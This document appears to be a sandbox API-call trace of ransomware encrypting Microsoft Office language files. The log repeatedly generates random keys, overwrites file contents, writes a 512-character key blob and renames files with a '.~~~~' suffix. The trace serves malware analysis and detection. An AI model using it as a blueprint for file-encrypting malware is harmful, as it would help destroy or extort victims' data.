	[0134.206] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0d08) returned 1
	[0134.207] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.207] CryptReleaseContext (hProv=0x3a0d08, dwFlags=0x0) returned 1
	[0134.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.208] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25419771049) returned 1
	[0134.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb96fb590, dwHighDateTime=0x1d60e1e)) 
	[0134.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824cc8
	[0134.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824cc8 | out: hHeap=0x300000) returned 1
	[0134.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4a90
	[0134.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.208] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.209] GetLastError () returned 0x0
	[0134.209] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.209] GetLastError () returned 0x0
	[0134.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffd84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.211] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x27c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x27c, lpOverlapped=0x0) returned 1
	[0134.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.214] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.214] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.214] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.214] CloseHandle (hObject=0x114) returned 1
	[0134.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0134.214] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.~~~~")) returned 1
	[0134.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.216] GetLastError () returned 0x0
	[0134.217] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0d08) returned 1
	[0134.218] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.218] CryptReleaseContext (hProv=0x3a0d08, dwFlags=0x0) returned 1
	[0134.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.218] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25420837093) returned 1
	[0134.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb97216f0, dwHighDateTime=0x1d60e1e)) 
	[0134.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824d00
	[0134.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824d00 | out: hHeap=0x300000) returned 1
	[0134.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4b28
	[0134.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.219] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.219] GetLastError () returned 0x0
	[0134.219] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.219] GetLastError () returned 0x0
	[0134.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.221] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0xd0, lpOverlapped=0x0) returned 1
	[0134.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.223] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.224] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.224] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.224] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.224] CloseHandle (hObject=0x114) returned 1
	[0134.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0134.224] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.~~~~")) returned 1
	[0134.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.226] GetLastError () returned 0x0
	[0134.227] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0d08) returned 1
	[0134.228] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.228] CryptReleaseContext (hProv=0x3a0d08, dwFlags=0x0) returned 1
	[0134.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.228] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25421848911) returned 1
	[0134.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb97216f0, dwHighDateTime=0x1d60e1e)) 
	[0134.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824d38
	[0134.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824d38 | out: hHeap=0x300000) returned 1
	[0134.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4bc0
	[0134.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.229] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.229] GetLastError () returned 0x0
	[0134.230] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.230] GetLastError () returned 0x0
	[0134.232] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.232] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0134.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.234] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.235] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.235] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.235] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.235] CloseHandle (hObject=0x114) returned 1
	[0134.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0134.235] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.~~~~")) returned 1
	[0134.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.237] GetLastError () returned 0x0
	[0134.238] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0d08) returned 1
	[0134.239] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.239] CryptReleaseContext (hProv=0x3a0d08, dwFlags=0x0) returned 1
	[0134.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.240] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25422965639) returned 1
	[0134.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb9747850, dwHighDateTime=0x1d60e1e)) 
	[0134.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824d70
	[0134.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824d70 | out: hHeap=0x300000) returned 1
	[0134.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4c58
	[0134.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.240] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.241] GetLastError () returned 0x0
	[0134.241] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.241] GetLastError () returned 0x0
	[0134.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.242] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0134.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.245] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.245] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.245] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.245] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.245] CloseHandle (hObject=0x114) returned 1
	[0134.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0134.246] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.~~~~")) returned 1
	[0134.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.248] GetLastError () returned 0x0
	[0134.248] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0f28) returned 1
	[0134.249] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.250] CryptReleaseContext (hProv=0x3a0f28, dwFlags=0x0) returned 1
	[0134.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.250] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25423997312) returned 1
	[0134.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb976d9b0, dwHighDateTime=0x1d60e1e)) 
	[0134.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824da8
	[0134.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824da8 | out: hHeap=0x300000) returned 1
	[0134.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8db0
	[0134.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.251] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.251] GetLastError () returned 0x0
	[0134.251] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.251] GetLastError () returned 0x0
	[0134.482] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.482] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.487] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.572] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.572] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.573] CloseHandle (hObject=0x114) returned 1
	[0134.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c48c8
	[0134.573] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll.~~~~")) returned 1
	[0134.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c48c8 | out: hHeap=0x300000) returned 1
	[0134.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.576] GetLastError () returned 0x0
	[0134.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".scr") returned 0x0
	[0134.577] lstrlenW (lpString=".cmd") returned 4
